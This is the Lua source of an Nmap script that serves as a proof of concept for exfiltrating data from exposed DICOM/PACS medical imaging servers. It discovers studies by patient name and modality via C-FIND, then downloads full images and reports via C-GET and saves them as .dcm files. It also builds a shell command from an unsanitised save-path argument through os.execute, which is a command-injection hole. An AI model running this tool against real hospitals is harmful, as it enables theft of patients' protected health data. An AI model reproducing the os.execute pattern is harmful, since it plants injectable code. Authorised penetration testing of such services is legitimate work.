nmap/scripts/dicom-get.nse
2026-10-05 15:44:26 +00:00

656 lines
24 KiB
Lua

description = [[
DICOM C-GET image retrieval and data exfiltration proof-of-concept.
Downloads DICOM instances (images, reports, structured reports) from a PACS
via C-GET, saving them to disk as .dcm files. This demonstrates the real-world
impact of an exposed DICOM Q/R service: not just that patient data is visible
(as shown by dicom-cfind-ls), but that it can be fully exfiltrated.
The workflow mirrors what a legitimate DICOM SCU does:
1. C-FIND at STUDY level to discover studies (or use a known
StudyInstanceUID)
2. C-GET at STUDY/SERIES/IMAGE level to retrieve instances
3. For each instance, the SCP sends a C-STORE sub-operation on the same
association; this script acts as a mini-SCP, receiving and saving each
file
C-GET is preferred over C-MOVE because it works on the same association --
no need for the target to connect back to us, and no need for our AE to be
registered in the PACS modality list.
Downloaded files retain the original DICOM dataset bytes and are valid .dcm
files (with a Part 10 header prepended) that can be opened in any DICOM
viewer (Horos, RadiAnt, MicroDicom, etc.).
WARNING: This is an intrusive script. It downloads actual patient data
(PHI/PII)
from the target PACS. Only use against systems for which you have explicit
written authorisation. Downloaded files must be handled according to applicable
data protection regulations (HIPAA, GDPR, etc.).
Requires the dicom.lua library (place in nselib/ or same directory).
]]
---
-- @usage
-- nmap -p 4242 --script dicom-get \
-- --script-args 'dicom-get.called_ae=ORTHANC,dicom-get.calling_ae=LAUNCHER,dicom-get.save=/tmp/exfil' <target>
--
-- @usage
-- # Retrieve a specific study by UID
-- nmap -p 4242 --script dicom-get \
-- --script-args 'dicom-get.called_ae=ORTHANC,dicom-get.study_uid=1.2.3.4.5,dicom-get.save=/tmp/exfil' <target>
--
-- @usage
-- # Retrieve only 3 studies, up to 5 instances each
-- nmap -p 4242 --script dicom-get \
-- --script-args 'dicom-get.called_ae=ORTHANC,dicom-get.max_studies=3,dicom-get.max_instances=5,dicom-get.save=/tmp/exfil' <target>
--
-- @args dicom-get.called_ae Target AE Title (default: "ANY-SCP")
-- @args dicom-get.calling_ae Our AE Title (default: "NMAP-GET")
-- @args dicom-get.save Directory to save retrieved .dcm files
-- (REQUIRED)
-- @args dicom-get.study_uid Specific StudyInstanceUID to retrieve
-- (default: discover via C-FIND)
-- @args dicom-get.series_uid Specific SeriesInstanceUID to retrieve
-- (requires study_uid)
-- @args dicom-get.patient_name Patient name filter for C-FIND discovery
-- (default: "*")
-- @args dicom-get.patient_id Patient ID filter for C-FIND discovery
-- (default: "")
-- @args dicom-get.modality Modality filter for C-FIND discovery
-- (default: "")
-- @args dicom-get.level Retrieval level: "STUDY", "SERIES", "IMAGE"
-- (default: "STUDY")
-- @args dicom-get.max_studies Max studies to retrieve (default: 5)
-- @args dicom-get.max_instances Max instances per study (default: 50)
-- @args dicom-get.timeout DIMSE timeout in seconds (default: 30)
-- @args dicom-get.max_pdu Max PDU Length (default: 16384)
-- @args dicom-get.info_model Q/R information model: "study" or "patient"
-- (default: "study")
-- @args dicom-get.part10 Prepend DICOM Part 10 header to saved files
-- (default: true)
--
-- @output
-- PORT STATE SERVICE
-- 4242/tcp open dicom
-- | dicom-get:
-- | Target AE: ORTHANC Calling AE: LAUNCHER
-- | Studies discovered: 2 (via C-FIND)
-- | Retrieved:
-- | Study 1.2.826...514 - Doe^John (PT_STRATIGOS_EC2_001)
-- | Saved: 101 instances (12.4 MB)
-- | Study 1.2.826...514 - Doe, John (1)
-- | Saved: 101 instances (12.4 MB)
-- | Total: 202 instances, 24.8 MB saved to /tmp/exfil
-- | WARNING: Patient data downloaded without authentication
-- |_
---
author = "Paulino Calderon <paulino@calderonpale.com>"
license = "Same as Nmap -- See https://nmap.org/book/man-legal.html"
categories = {"discovery", "intrusive"}
local shortport = require "shortport"
local stdnse = require "stdnse"
local nmap = require "nmap"
local string = require "string"
local math = require "math"
local dicom = require "dicom"
local os = require "os"
portrule = shortport.port_or_service({104, 2762, 11112, 4242}, "dicom", "tcp",
"open")
-----------------------------------------------------------------------
-- HELPERS
-----------------------------------------------------------------------
local function get_arg(key, default)
return stdnse.get_script_args("dicom-get." .. key) or default
end
--- Format bytes into human-readable size.
local function fmt_bytes(n)
if n < 1024 then return string.format("%d B", n) end
if n < 1024 * 1024 then return string.format("%.1f KB", n / 1024) end
return string.format("%.1f MB", n / (1024 * 1024))
end
--- Build a DICOM Part 10 file header (preamble + DICM + File Meta).
-- @param sop_class SOP Class UID
-- @param sop_instance SOP Instance UID
-- @param ts_uid Transfer Syntax UID
-- @return Part 10 header bytes
local function build_part10_header(sop_class, sop_instance, ts_uid)
ts_uid = ts_uid or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
-- File Meta is always Explicit VR Little Endian
local function meta_elem(group, elem, vr, val)
local tag = string.pack("<I2 I2", group, elem)
if vr == "OB" or vr == "OW" or vr == "SQ" or vr == "UN" then
local padded = val
if #padded % 2 ~= 0 then padded = padded .. "\x00" end
return tag .. vr .. "\x00\x00" .. string.pack("<I4", #padded) .. padded
else
local padded = val
if (vr == "UI" or vr == "SH" or vr == "LO") and #padded % 2 ~= 0 then
padded = padded .. "\x00"
end
return tag .. vr .. string.pack("<I2", #padded) .. padded
end
end
-- Build group 0002 elements (excluding 0002,0000 GroupLength)
local meta = ""
meta = meta .. meta_elem(0x0002, 0x0001, "OB",
"\x00\x01") -- FileMetaInformationVersion
meta = meta .. meta_elem(0x0002, 0x0002, "UI",
sop_class) -- MediaStorageSOPClassUID
meta = meta .. meta_elem(0x0002, 0x0003, "UI",
sop_instance) -- MediaStorageSOPInstanceUID
meta = meta .. meta_elem(0x0002, 0x0010, "UI", ts_uid) -- TransferSyntaxUID
meta = meta .. meta_elem(0x0002, 0x0012, "UI",
dicom.IMPL_CLASS_UID) -- ImplementationClassUID
meta = meta .. meta_elem(0x0002, 0x0013, "SH",
dicom.IMPL_VERSION) -- ImplementationVersionName
-- GroupLength (0002,0000) = total length of the rest of group 0002
local group_len = meta_elem(0x0002, 0x0000, "UL", string.pack("<I4", #meta))
-- 128-byte preamble + "DICM" + File Meta
return string.rep("\x00", 128) .. "DICM" .. group_len .. meta
end
-----------------------------------------------------------------------
-- C-FIND DISCOVERY
-----------------------------------------------------------------------
--- Discover studies via C-FIND.
-- @return list of {study_uid, patient_name, patient_id, modality, description}
local function discover_studies(host, port, called_ae, calling_ae, find_sop,
pat_name, pat_id, modality, max_pdu,
timeout_s, max_studies)
local ok, sock, pctxs, server_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae, {find_sop}, max_pdu, timeout_s)
if not ok then return nil, sock end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
return nil, "No accepted presentation context for C-FIND"
end
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
-- Build query
local query_tags = {
{group=0x0010, elem=0x0010, vr="PN", value=pat_name}, -- PatientName
{group=0x0010, elem=0x0020, vr="LO", value=pat_id}, -- PatientID
{group=0x0020, elem=0x000D, vr="UI", value=""},
-- StudyInstanceUID (return key)
{group=0x0008, elem=0x0061, vr="CS", value=modality}, -- ModalitiesInStudy
{group=0x0008, elem=0x1030, vr="LO", value=""}, -- StudyDescription
}
local cmd = dicom.build_cfind_rq(1, find_sop)
local ds = dicom.build_cfind_dataset("STUDY", query_tags, ts)
dicom.send_dimse(sock, pctx_id, cmd, ds, eff_max)
-- Collect responses
local studies = {}
local carry = ""
while true do
local pdu_type, cmd_elems, resp_ds, raw
pdu_type, cmd_elems, resp_ds, raw, carry = dicom.recv_dimse(sock,
timeout_s, carry)
if not pdu_type then break end
if pdu_type == dicom.PDU_CODES.ABORT then break end
if pdu_type ~= dicom.PDU_CODES.DATA then break end
local status = 0xFFFF
if cmd_elems and cmd_elems["0000,0900"] then
status = cmd_elems["0000,0900"].value
end
if status == dicom.STATUS.PENDING
or status == dicom.STATUS.PENDING_WARN then
if #resp_ds > 0 then
local elems = dicom.parse_dataset(resp_ds, ts)
if elems then
studies[#studies + 1] = {
study_uid = elems["0020,000D"] or "",
patient_name = elems["0010,0010"] or "",
patient_id = elems["0010,0020"] or "",
modality = elems["0008,0061"] or "",
description = elems["0008,1030"] or "",
}
if #studies >= max_studies then
stdnse.debug1("C-FIND: max_studies (%d) reached", max_studies)
break
end
end
end
elseif status == dicom.STATUS.SUCCESS then
break
else
break
end
end
dicom.do_release(sock, 3)
return studies
end
-----------------------------------------------------------------------
-- C-GET RETRIEVAL
-----------------------------------------------------------------------
--- Retrieve instances via C-GET for a single study/series.
-- The SCP sends C-STORE sub-operations on the same association.
-- This script acts as a mini-SCP: receive each C-STORE, save to disk, send
-- C-STORE-RSP.
--
-- @param host, port Nmap host/port objects
-- @param called_ae Called AE Title
-- @param calling_ae Calling AE Title
-- @param get_sop Q/R GET SOP Class UID
-- @param query_tags Tags identifying what to retrieve
-- @param level Q/R level ("STUDY", "SERIES", "IMAGE")
-- @param max_pdu Max PDU length
-- @param timeout_s Timeout in seconds
-- @param save_dir Directory to save .dcm files
-- @param max_instances Max instances to save (0 = unlimited)
-- @param add_part10 Prepend Part 10 header
-- @return saved_count, total_bytes, error_count, file_list
local function do_cget(host, port, called_ae, calling_ae, get_sop,
query_tags, level, max_pdu, timeout_s, save_dir,
max_instances, add_part10)
-- We need to propose both the C-GET SOP class AND storage SOP classes
-- that the SCP will use for C-STORE sub-operations.
-- Propose a broad set of storage classes so we can receive any modality.
local storage_sops = {
dicom.SOP_CLASS.CT_IMAGE_STORAGE,
dicom.SOP_CLASS.MR_IMAGE_STORAGE,
dicom.SOP_CLASS.SECONDARY_CAPTURE,
dicom.SOP_CLASS.ENHANCED_CT_STORAGE,
dicom.SOP_CLASS.PET_IMAGE_STORAGE,
dicom.SOP_CLASS.RT_DOSE_STORAGE,
dicom.SOP_CLASS.RT_PLAN_STORAGE,
"1.2.840.10008.5.1.4.1.1.6.1", -- US Image Storage
"1.2.840.10008.5.1.4.1.1.1", -- CR Image Storage
"1.2.840.10008.5.1.4.1.1.1.1", -- Digital X-Ray (DX)
"1.2.840.10008.5.1.4.1.1.1.2", -- Digital Mammography
"1.2.840.10008.5.1.4.1.1.20", -- NM Image Storage
"1.2.840.10008.5.1.4.1.1.12.1", -- X-Ray Angiographic
"1.2.840.10008.5.1.4.1.1.4.1", -- Enhanced MR
"1.2.840.10008.5.1.4.1.1.128.1", -- Enhanced PET
"1.2.840.10008.5.1.4.1.1.104.1", -- Encapsulated PDF
"1.2.840.10008.5.1.4.1.1.88.11", -- Basic Text SR
"1.2.840.10008.5.1.4.1.1.88.22", -- Enhanced SR
"1.2.840.10008.5.1.4.1.1.88.33", -- Comprehensive SR
"1.2.840.10008.5.1.4.1.1.481.1", -- RT Image
"1.2.840.10008.5.1.4.1.1.481.3", -- RT Structure Set
"1.2.840.10008.5.1.4.1.1.7.1", -- Multi-frame SC (Byte)
"1.2.840.10008.5.1.4.1.1.7.2", -- Multi-frame SC (Word)
"1.2.840.10008.5.1.4.1.1.7.3", -- Multi-frame SC (True Color)
"1.2.840.10008.5.1.4.1.1.7.4", -- Multi-frame SC (Grayscale)
}
-- Build combined SOP list: C-GET SOP first, then storage SOPs
local all_sops = {get_sop}
-- Deduplicate
local seen = {[get_sop] = true}
for _, sop in ipairs(storage_sops) do
if not seen[sop] then
seen[sop] = true
all_sops[#all_sops + 1] = sop
end
end
-- Request SCP/SCU role reversal on the storage SOP classes so the server
-- will push retrieved instances back to us as C-STORE sub-operations
-- (mandatory for C-GET, PS3.7 §D.3.3.4).
local roles = {}
for _, sop in ipairs(storage_sops) do
roles[#roles + 1] = { uid = sop, scu = false, scp = true }
end
local ok, sock, pctxs, server_max_pdu = dicom.do_associate(
host, port, called_ae, calling_ae, all_sops, max_pdu, timeout_s, nil,
roles)
if not ok then
return 0, 0, 0, {}, tostring(sock)
end
local pctx_id = dicom.pick_accepted_pctx(pctxs)
if not pctx_id then
dicom.do_release(sock, 3)
return 0, 0, 0, {}, "No accepted presentation context for C-GET"
end
local ts = dicom.get_accepted_ts(pctxs, pctx_id)
or dicom.TRANSFER_SYNTAX.EXPLICIT_LE
local eff_max = math.min(server_max_pdu or max_pdu, max_pdu)
-- Build and send C-GET-RQ
local cmd_bytes = dicom.build_cget_rq(1, get_sop)
local ds_bytes = dicom.build_cget_dataset(level, query_tags, ts)
dicom.send_dimse(sock, pctx_id, cmd_bytes, ds_bytes, eff_max)
-- Receive loop: handle C-STORE sub-operations from the SCP
local saved = 0
local errors = 0
local total_bytes = 0
local files = {}
local carry = ""
local limit_reached = false
while true do
local pdu_type, cmd_elems, resp_ds, raw, in_pctx
pdu_type, cmd_elems, resp_ds, raw, carry, in_pctx =
dicom.recv_dimse(sock, timeout_s, carry)
-- Context to reply on for C-STORE sub-operations: the one the sub-op
-- arrived on (falls back to the C-GET context if unknown).
local store_pctx = in_pctx or pctx_id
if not pdu_type then
stdnse.debug1("C-GET recv error: %s", tostring(raw))
break
end
if pdu_type == dicom.PDU_CODES.ABORT then
stdnse.debug1("C-GET: received A-ABORT")
break
end
if pdu_type ~= dicom.PDU_CODES.DATA then
stdnse.debug1("C-GET: unexpected PDU 0x%02X", pdu_type)
break
end
local cmd_field = 0
if cmd_elems and cmd_elems["0000,0100"] then
cmd_field = cmd_elems["0000,0100"].value
end
if cmd_field == dicom.COMMAND_FIELD.C_STORE_RQ then
-- Incoming C-STORE sub-operation
local sop_class = ""
if cmd_elems["0000,0002"] then
sop_class = tostring(cmd_elems["0000,0002"].value):gsub("%z",
""):gsub("%s+$", "")
end
local sop_instance = ""
if cmd_elems["0000,1000"] then
sop_instance = tostring(cmd_elems["0000,1000"].value):gsub("%z",
""):gsub("%s+$", "")
end
if sop_instance == "" then sop_instance = dicom.generate_fake_uid() end
local msg_id_rsp = 1
if cmd_elems["0000,0110"] then
msg_id_rsp = cmd_elems["0000,0110"].value
end
-- Determine the transfer syntax used for this C-STORE
-- The SCP uses the negotiated TS for the presentation context it chose
local store_ts = dicom.get_accepted_ts(pctxs, store_pctx) or ts
-- Save file
if max_instances > 0 and saved >= max_instances then
-- We've reached our limit; still send RSP to be polite
if not limit_reached then
stdnse.debug1("C-GET: max_instances (%d) reached, skipping saves",
max_instances)
limit_reached = true
end
local rsp_cmd = dicom.build_cstore_rsp(msg_id_rsp, sop_class,
sop_instance)
dicom.send_dimse(sock, store_pctx, rsp_cmd, nil, eff_max)
else
local filename = sop_instance:gsub("[^%w%.]", "_") .. ".dcm"
local filepath = save_dir:gsub("[/\\]+$", "") .. "/" .. filename
local file_data
if add_part10 and resp_ds and #resp_ds > 0 then
file_data = build_part10_header(sop_class, sop_instance, store_ts)
.. resp_ds
else
file_data = resp_ds or ""
end
local wok, werr = dicom.write_file(filepath, file_data)
if wok then
saved = saved + 1
total_bytes = total_bytes + #file_data
files[#files + 1] = {
filename = filename,
sop_class = sop_class,
sop_instance = sop_instance,
size = #file_data,
}
stdnse.debug1("C-GET: saved %s (%s)", filename,
fmt_bytes(#file_data))
else
errors = errors + 1
stdnse.debug1("C-GET: save failed: %s", tostring(werr))
end
-- Send C-STORE-RSP (SUCCESS)
local rsp_cmd = dicom.build_cstore_rsp(msg_id_rsp, sop_class,
sop_instance)
dicom.send_dimse(sock, store_pctx, rsp_cmd, nil, eff_max)
end
elseif cmd_field == dicom.COMMAND_FIELD.C_GET_RSP then
-- C-GET-RSP: check status
local cget_status = 0xFFFF
if cmd_elems["0000,0900"] then
cget_status = cmd_elems["0000,0900"].value
end
-- Extract progress counters if available
local remaining = 0
local completed = 0
if cmd_elems["0000,1020"] then
remaining = cmd_elems["0000,1020"].value
end
if cmd_elems["0000,1021"] then
completed = cmd_elems["0000,1021"].value
end
if cget_status == dicom.STATUS.PENDING
or cget_status == dicom.STATUS.PENDING_WARN then
stdnse.debug2("C-GET: progress %d completed, %d remaining", completed,
remaining)
else
stdnse.debug1("C-GET: final status 0x%04X (%d completed)", cget_status,
completed)
break
end
else
stdnse.debug1("C-GET: unexpected command field 0x%04X", cmd_field)
end
end
dicom.do_release(sock, 3)
return saved, total_bytes, errors, files
end
-----------------------------------------------------------------------
-- MAIN ACTION
-----------------------------------------------------------------------
action = function(host, port)
local called_ae = get_arg("called_ae", "ANY-SCP")
local calling_ae = get_arg("calling_ae", "NMAP-GET")
local save_dir = get_arg("save", nil)
local study_uid = get_arg("study_uid", nil)
local series_uid = get_arg("series_uid", nil)
local pat_name = get_arg("patient_name", "*")
local pat_id = get_arg("patient_id", "")
local modality = get_arg("modality", "")
local level = get_arg("level", "STUDY"):upper()
local max_studies = tonumber(get_arg("max_studies", "5"))
local max_instances = tonumber(get_arg("max_instances", "50"))
local timeout_s = tonumber(get_arg("timeout", "30"))
local max_pdu = tonumber(get_arg("max_pdu", "16384"))
local info_model = get_arg("info_model", "study"):lower()
local add_part10 = (get_arg("part10", "true")):lower() ~= "false"
local out = stdnse.output_table()
if not save_dir then
out["Error"] = "dicom-get.save is required. Specify a directory to save" ..
" retrieved .dcm files."
return out
end
-- Create save directory
os.execute("mkdir -p " .. save_dir .. " 2>/dev/null")
os.execute("mkdir " .. save_dir .. " 2>nul")
out["Target AE"] = called_ae
out["Calling AE"] = calling_ae
-- Select Q/R SOP classes
local find_sop, get_sop
if info_model == "patient" then
find_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_FIND
get_sop = dicom.SOP_CLASS.PATIENT_ROOT_QR_GET
else
find_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_FIND
get_sop = dicom.SOP_CLASS.STUDY_ROOT_QR_GET
end
-- == Phase 1: Discover studies (or use provided UID) ==
local studies = {}
if study_uid then
-- User provided a specific study UID
studies[#studies + 1] = {
study_uid = study_uid,
patient_name = "(specified)",
patient_id = "",
}
out["Studies"] = "1 (specified via study_uid)"
else
-- Discover via C-FIND
local found, err = discover_studies(host, port, called_ae, calling_ae,
find_sop, pat_name, pat_id, modality, max_pdu, timeout_s, max_studies)
if not found then
out["Error"] = "C-FIND discovery failed: " .. tostring(err)
return out
end
if #found == 0 then
out["Result"] = "No studies found (server may require specific AE" ..
" title or filter)"
return out
end
studies = found
out["Studies discovered"] = string.format("%d (via C-FIND)", #studies)
end
-- == Phase 2: Retrieve each study via C-GET ==
local results = {}
local grand_total_saved = 0
local grand_total_bytes = 0
local grand_total_errors = 0
for _, study in ipairs(studies) do
if study.study_uid == "" then goto next_study end
-- Build query tags for C-GET
local query_tags = {
{group=0x0020, elem=0x000D, vr="UI", value=study.study_uid},
}
local get_level = level
-- If series_uid is specified, add it and set level to SERIES
if series_uid and series_uid ~= "" then
query_tags[#query_tags + 1] =
{group=0x0020, elem=0x000E, vr="UI", value=series_uid}
get_level = "SERIES"
end
stdnse.debug1("C-GET: retrieving study %s (%s)",
study.study_uid, study.patient_name)
local saved, total_bytes, errs, files = do_cget(
host, port, called_ae, calling_ae, get_sop,
query_tags, get_level, max_pdu, timeout_s, save_dir,
max_instances, add_part10)
results[#results + 1] = {
study_uid = study.study_uid,
patient_name = study.patient_name,
patient_id = study.patient_id,
saved = saved,
errors = errs,
total_bytes = total_bytes,
files = files,
}
grand_total_saved = grand_total_saved + saved
grand_total_bytes = grand_total_bytes + total_bytes
grand_total_errors = grand_total_errors + errs
::next_study::
end
-- == Output ==
local study_lines = {}
for _, r in ipairs(results) do
local short_uid = r.study_uid
if #short_uid > 40 then
short_uid = short_uid:sub(1, 20) .. "..." .. short_uid:sub(-16)
end
local line = string.format("Study %s - %s", short_uid, r.patient_name)
if r.patient_id ~= "" then
line = line .. string.format(" (%s)", r.patient_id)
end
study_lines[#study_lines + 1] = line
if r.saved > 0 then
study_lines[#study_lines + 1] = string.format(
" Saved: %d instances (%s)", r.saved, fmt_bytes(r.total_bytes))
end
if r.errors > 0 then
study_lines[#study_lines + 1] = string.format(
" Errors: %d instances failed to save", r.errors)
end
if r.saved == 0 and r.errors == 0 then
study_lines[#study_lines + 1] = " No instances retrieved (C-GET may" ..
" not be supported)"
end
end
out["Retrieved"] = study_lines
out["Total"] = string.format("%d instances, %s saved to %s",
grand_total_saved, fmt_bytes(grand_total_bytes), save_dir)
if grand_total_errors > 0 then
out["Errors"] = string.format("%d instances failed", grand_total_errors)
end
if grand_total_saved > 0 then
out["WARNING"] = "Patient data (PHI) downloaded without authentication"
elseif #studies > 0 then
out["Note"] = "Studies found but no instances retrieved. " ..
"Server may not support C-GET (try C-MOVE instead), " ..
"or storage SOP classes were rejected."
end
nmap.set_port_state(host, port, "open")
port.version.name = "dicom"
port.version.product = "DICOM SCP"
nmap.set_port_version(host, port, "hardmatched")
return out
end